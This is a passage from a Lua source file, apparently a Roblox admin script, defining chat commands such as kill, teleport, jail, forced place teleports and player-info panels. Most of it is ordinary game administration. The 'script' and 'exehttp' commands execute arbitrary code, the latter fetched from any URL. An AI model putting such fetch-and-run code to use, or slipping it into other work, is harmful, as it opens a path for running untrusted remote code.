5043 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5044 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5045 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5046 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5047 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5048 {"_BENCH", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5049 {"_BENCHMARK", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5050 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) end end};
5051 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) end end};
5052 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) end end};
5053 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5054 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5055}
5056
5057---- COMMANDS ----
5058
5059-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5060
5061Commands = { -- can't make local
5062 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5063 print("[MML's Admin]: Test message from "..Speaker.Name)
5064 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5065 end};
5066
5067 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5068 local Players = STRING:Scan(Arguments[1], Speaker)
5069 for _,Player in pairs(Players) do
5070 if Player.Character then
5071 Player.Character:BreakJoints()
5072 end
5073 end
5074 end};
5075
5076 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5077 local Players = STRING:Scan(Arguments[1], Speaker)
5078 for _,Player in pairs(Players) do
5079 if Player.Character then
5080 Instance.new("ForceField", Player.Character)
5081 end
5082 end
5083 end};
5084
5085 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5086 local Players = STRING:Scan(Arguments[1], Speaker)
5087 for _,Player in pairs(Players) do
5088 if Player.Character then
5089 for _,Get in pairs(Player.Character:GetChildren()) do
5090 if Get:IsA("ForceField") then
5091 Get:Destroy()
5092 end
5093 end
5094 end
5095 end
5096 end};
5097
5098 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5099 for _,Player in pairs(Server.Players:GetPlayers()) do
5100 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
5101 end
5102 end};
5103
5104 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5105 for _,Player in pairs(Server.Players:GetPlayers()) do
5106 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569)
5107 end
5108 end};
5109
5110 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5111 local Players = STRING:Scan(Arguments[1], Speaker)
5112 for _,Player in pairs(Players) do
5113 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
5114 end
5115 end};
5116
5117 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5118 for _,Player in pairs(Server.Players:GetPlayers()) do
5119 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24})
5120 end
5121 end};
5122
5123 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5124 local Players = STRING:Scan(Arguments[1], Speaker)
5125 for _,Player in pairs(Players) do
5126 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24})
5127 end
5128 end};
5129
5130 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5131 local Players = STRING:Scan(Arguments[1], Speaker)
5132 local AgeList = {}
5133 for _,Player in pairs(Players) do
5134 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5135 end
5136 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5137 end};
5138
5139 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5140 local Players = STRING:Scan(Arguments[1], Speaker)
5141 local AgeList = {}
5142 for _,Player in pairs(Players) do
5143 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5144 end
5145 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5146 for _,Player in pairs(SecondPlayers) do
5147 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5148 end
5149 end};
5150
5151 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5152 local Storage = {{}, {}, {}, {}}
5153 local StorageText = {}
5154 local Formatted = {}
5155 for CommandNames,Data in pairs(Commands) do
5156 if not Data.Hidden then
5157 local RankNeeded = RANK:ConvertRank(Data[4])
5158 local Add = ""
5159 if Data[4] == "Non-Admin" then Add = "BLACK " end
5160 if Data[4] == "Admin" then Add = "CYAN " end
5161 if Data[4] == "Member" then Add = "BLUE " end
5162 if Data[4] == "Owner" then Add = "GREEN " end
5163 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5164 local AddBet = Settings.Bet
5165 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5166 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5167 table.insert(Storage[RankNeeded + 1], Add..Text)
5168 StorageText[Text] = CommandNames
5169 end
5170 end
5171 for Num,_ in pairs(Storage) do
5172 table.sort(Storage[Num])
5173 end
5174 for _,Table in pairs(Storage) do
5175 for _,Command in pairs(Table) do
5176 table.insert(Formatted, Command)
5177 end
5178 end
5179 local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5180 Clicked.Event:connect(function(Text)
5181 GUI:ShowCommand(Speaker, StorageText[Text])
5182 end)
5183 end};
5184
5185 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5186 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5187 end};
5188
5189 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5190 if GUI:GetColor(Arguments[1]) then
5191 local ColorScheme = string.upper(Arguments[1])
5192 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5193 Settings.ColorScheme = ColorScheme
5194 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5195 else
5196 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5197 end
5198 end};
5199
5200 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5201 local List = {}
5202 for Color,_ in pairs(Colors) do
5203 table.insert(List, Color.." "..Color)
5204 end
5205 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5206 end};
5207
5208 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5209 local Transparency = tonumber(Arguments[1])
5210 if Transparency then
5211 if Transparency > 90 then Transparency = 90 end
5212 if Transparency < 10 then Transparency = 10 end
5213 Settings.TransparencyScheme = Transparency/100
5214
5215 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5216 else
5217 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5218 end
5219 end};
5220
5221 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5222 if Fonts[Arguments[1]] then
5223 Settings.Font = Arguments[1]
5224 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5225 end
5226 end};
5227
5228 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5229 Settings.Fun = not Settings.Fun
5230 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5231 end};
5232
5233 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5234 Settings.DisableAbuse = not Settings.DisableAbuse
5235 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5236 end};
5237
5238 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5239 local List = {}
5240 for Font,_ in pairs(Fonts) do
5241 if Font == Settings.Font then
5242 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5243 else
5244 table.insert(List, Font.." "..Font)
5245 end
5246 end
5247 GUI:ListGui(Speaker, "Font list", List, 44453197)
5248 end};
5249
5250 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5251 local SoundID = tonumber(Arguments[1])
5252 if SoundID then
5253 Settings.ExecuteNotificationSound = SoundID
5254
5255 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5256 else
5257 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5258 end
5259 end};
5260
5261 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5262 Settings.ExecuteNotificationSound = 0
5263 end};
5264
5265 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5266 local Players = STRING:Scan(Arguments[1], Speaker)
5267 for _,Player in pairs(Players) do
5268 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5269 end
5270 end};
5271
5272 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5273 local Players = STRING:Scan(Arguments[1], Speaker)
5274 for _,Player in pairs(Players) do
5275 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5276 end
5277 end};
5278
5279 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5280 local Players = STRING:Scan(Arguments[1], Speaker)
5281 for _,Player in pairs(Players) do
5282 coroutine.wrap(function()
5283 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5284 wait(1)
5285 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5286 end)()
5287 end
5288 end, Hidden = true};
5289
5290 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5291 local Players = STRING:Scan(Arguments[1], Speaker)
5292 for _,Player in pairs(Players) do
5293 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5294 end
5295 end};
5296
5297 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5298 local Players = STRING:Scan(Arguments[1], Speaker)
5299 for _,Player in pairs(Players) do
5300 CORE:ChangeName(Player, Arguments[2])
5301 end
5302 end};
5303
5304 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5305 local Players = STRING:Scan(Arguments[1], Speaker)
5306 for _,Player in pairs(Players) do
5307 if Player.Character then
5308 local Head = Player.Character:FindFirstChild("Label")
5309 if Head then Head:Destroy() end
5310 local Head = Player.Character:FindFirstChild("Head")
5311 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5312 end
5313 end
5314 end};
5315
5316 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5317 local Players = STRING:Scan(Arguments[1], Speaker)
5318 for _,Player in pairs(Players) do
5319 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5320 end
5321 end};
5322
5323 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5324 local Players = STRING:Scan(Arguments[1], Speaker)
5325 for _,Player in pairs(Players) do
5326 local _,RankNum = RANK:GetRank(Player)
5327 if RankNum <= RANK:ConvertRank(Rank) then
5328 Server.TS:Teleport(Arguments[2], Player)
5329 end
5330 end
5331 end};
5332
5333 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5334 local Players = STRING:Scan(Arguments[1], Speaker)
5335 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5336 if Suc then
5337 for _,Player in pairs(Players) do
5338 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5339 end
5340 else
5341 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5342 end
5343 end};
5344
5345 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5346 local Players = STRING:Scan(Arguments[1], Speaker)
5347 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5348 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5349 if Suc then
5350 for _,Player in pairs(Players) do
5351 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5352 end
5353 else
5354 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5355 end
5356 end)
5357 end};
5358
5359 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5360 local Players = STRING:Scan(Arguments[1], Speaker)
5361 for _,Player in pairs(Players) do
5362 local _,RankNum = RANK:GetRank(Player)
5363 if RankNum < RANK:ConvertRank(Rank) then
5364 Server.TS:Teleport(155307015, Player)
5365 end
5366 end
5367 end};
5368
5369 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5370 local Players = STRING:Scan(Arguments[1], Speaker)
5371 for _,Player in pairs(Players) do
5372 local _,RankNum = RANK:GetRank(Player)
5373 if RankNum < RANK:ConvertRank(Rank) then
5374 Server.TS:Teleport(347911447, Player)
5375 end
5376 end
5377 end};
5378
5379 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5380 local Players = STRING:Scan(Arguments[1], Speaker)
5381 for _,Player in pairs(Players) do
5382 CORE:GenerateShield(Player)
5383 end
5384 end};
5385
5386 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5387 local Players = STRING:Scan(Arguments[1], Speaker)
5388 for _,Player in pairs(Players) do
5389 if Player.Character then
5390 local Shield = Player.Character:FindFirstChild("Shield")
5391 if Shield then Shield:Destroy() end
5392 end
5393 end
5394 end};
5395
5396 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5397 local Num = tonumber(Arguments[1])
5398 if Num and Num ~= 0 then
5399 local Random = math.random(1,math.abs(Num))
5400 if Random == math.random(1,math.abs(Num)) then
5401 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5402 else
5403 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5404 end
5405 else
5406 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5407 end
5408 end};
5409
5410 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5411 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5412 IRC:AddChat(Speaker.Name, Arguments[1])
5413 end};
5414
5415 --[[
5416 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5417 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5418 if Res then
5419 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5420 end
5421 end, Http = true};
5422
5423 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5424 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5425 if Res then
5426 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5427 end
5428 end}, Http = true;
5429 ]]
5430
5431 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5432 IRC:Quit("Reconnecting")
5433 IRC:ConnectToServer(Settings.IRCServer)
5434 end};
5435
5436 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5437 local Players = STRING:Scan(Arguments[1], Speaker)
5438 for _,Player in pairs(Players) do
5439 local PreAdd = {}
5440 for _,Data in pairs(IRC.Chats) do
5441 local Error = nil
5442 if Rank == "Owner" then Error = Data[3] end
5443 table.insert(PreAdd, {Data[1], Data[2], Error})
5444 end
5445 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5446 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5447 if Rank ~= "Owner" then Error = nil end
5448 AddMessage:Invoke(UserName, Message, Error)
5449 end)
5450 SendPressed.Event:connect(function(Text)
5451 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5452 IRC:AddChat(Player.Name, Text)
5453 end)
5454 end
5455 end};
5456
5457 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5458 local Players = STRING:Scan(Arguments[1], Speaker)
5459 for _,Player in pairs(Players) do
5460 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5461 if Type == "Leave" then
5462 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5463 elseif Type == "Join" then
5464 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5465 end
5466 end)
5467 PriChat.Chatted.Event:connect(function(UserName, Message)
5468 AddMessage:Invoke(UserName, Message)
5469 end)
5470 SendPressed.Event:connect(function(Text)
5471 PriChat.Chatted:Fire(Player.Name, Text)
5472 table.insert(PriChat.Chats, {Player.Name, Text})
5473 end)
5474 end
5475 end};
5476
5477 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5478 ExecuteSafe(Arguments[1], Speaker)
5479 end};
5480
5481 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5482 local Script = REMOTE:GetURL(Arguments[1], Player)
5483 if Script then
5484 ExecuteSafe(Script, Speaker)
5485 end
5486 end, Http = true};
5487
5488 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5489 local Time = tick()
5490 local Res = REMOTE:GetURL(Arguments[1], Player)
5491 if Res then
5492 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5493 end
5494 end, Http = true};
5495
5496 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5497 CORE:RemoveAdmin(Speaker)
5498 end};
5499
5500 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5501 for _,Player in pairs(Server.Players:GetPlayers()) do
5502 GUI:SendHint(Player, Arguments[1])
5503 end
5504 end};
5505
5506 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5507 local Players = STRING:Scan(Arguments[1], Speaker)
5508 local Debt = nil
5509 for _,Player in pairs(Players) do
5510 if not Debt then
5511 Debt = GUI:ShowDebtStats(Player)
5512 else
5513 GUI:ShowDebtStats(Player, Debt)
5514 end
5515 end
5516 end, Http = true};
5517
5518 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5519 local Players = STRING:Scan(Arguments[1], Speaker)
5520 for _,Player in pairs(Players) do
5521 GUI:CreateHUD(Player)
5522 end
5523 end};
5524
5525 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5526 local Players = STRING:Scan(Arguments[1], Speaker)
5527 for _,Player in pairs(Players) do
5528 if Player:FindFirstChild("PlayerGui") then
5529 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5530 if HUD then HUD:Destroy() end
5531 end
5532 end
5533 end};
5534
5535 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5536 local Players = STRING:Scan(Arguments[1], Speaker)
5537 GUI:Vote(Speaker, Players, Arguments[2], 30)
5538 end};
5539
5540 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5541 local Players = STRING:Scan(Arguments[1], Speaker)
5542 for _,Player in pairs(Players) do
5543 CORE:ExecuteResource("Bomb", Player.Character)
5544 end
5545 end};
5546
5547 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5548 local Players = STRING:Scan(Arguments[1], Speaker)
5549 for _,Player in pairs(Players) do
5550 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5551 CORE:RestoreCamera(Player)
5552 end
5553 end};
5554
5555 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5556 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5557 CORE:RestoreCamera(Speaker)
5558 end};
5559
5560 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5561 local Players1 = STRING:Scan(Arguments[1], Speaker)
5562 local Players2 = STRING:Scan(Arguments[2], Speaker)
5563 for _,Player1 in pairs(Players1) do
5564 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5565 for _,Player2 in pairs(Players2) do
5566 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5567 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5568 end
5569 end
5570 end
5571 end
5572 end};
5573
5574 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5575 local Players = STRING:Scan(Arguments[1], Speaker)
5576 for _,Player in pairs(Players) do
5577 Player:LoadCharacter()
5578 end
5579 end};
5580
5581 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5582 local Players = STRING:Scan(Arguments[1], Speaker)
5583 for _,Player in pairs(Players) do
5584 CORE:RestoreCamera(Player)
5585 end
5586 end};
5587
5588 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5589 local Players = STRING:Scan(Arguments[1], Speaker)
5590 for _,Player in pairs(Players) do
5591 CORE:Jail(Player)
5592 end
5593 end};
5594
5595 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5596 local Players = STRING:Scan(Arguments[1], Speaker)
5597 for _,Player in pairs(Players) do
5598 CORE:UnJail(Player)
5599 end
5600 end};
5601
5602 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5603 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5604 end};
5605
5606 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5607 SOUND:StopSpeaking()
5608 end};
5609
5610 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5611 local Players = STRING:Scan(Arguments[1], Speaker)
5612 local Compile = {}
5613 for Num,Player in pairs(Players) do
5614 local PlayerRank = RANK:GetRank(Player)
5615 local PlayerInfo = ClientInfo[Player.Name]
5616 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5617 table.insert(Compile, "User ID: "..Player.UserId)
5618 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5619 table.insert(Compile, "Rank: "..PlayerRank)
5620
5621 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5622 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5623 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5624 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5625 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5626 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5627 if PlayerInfo.Benchmark then
5628 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5629 end
5630 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5631 end
5632 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5633 end};
5634
5635 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5636 if tonumber(Arguments[2]) then
5637 local Players = STRING:Scan(Arguments[1], Speaker)
5638 for _,Player in pairs(Players) do
5639 coroutine.wrap(function()
5640 if Player.Character then
5641 table.insert(LoopKills, Player.Name)
5642 local Loop = nil
5643 local PrevChar = nil
5644
5645 for i = 1,tonumber(Arguments[2]) do
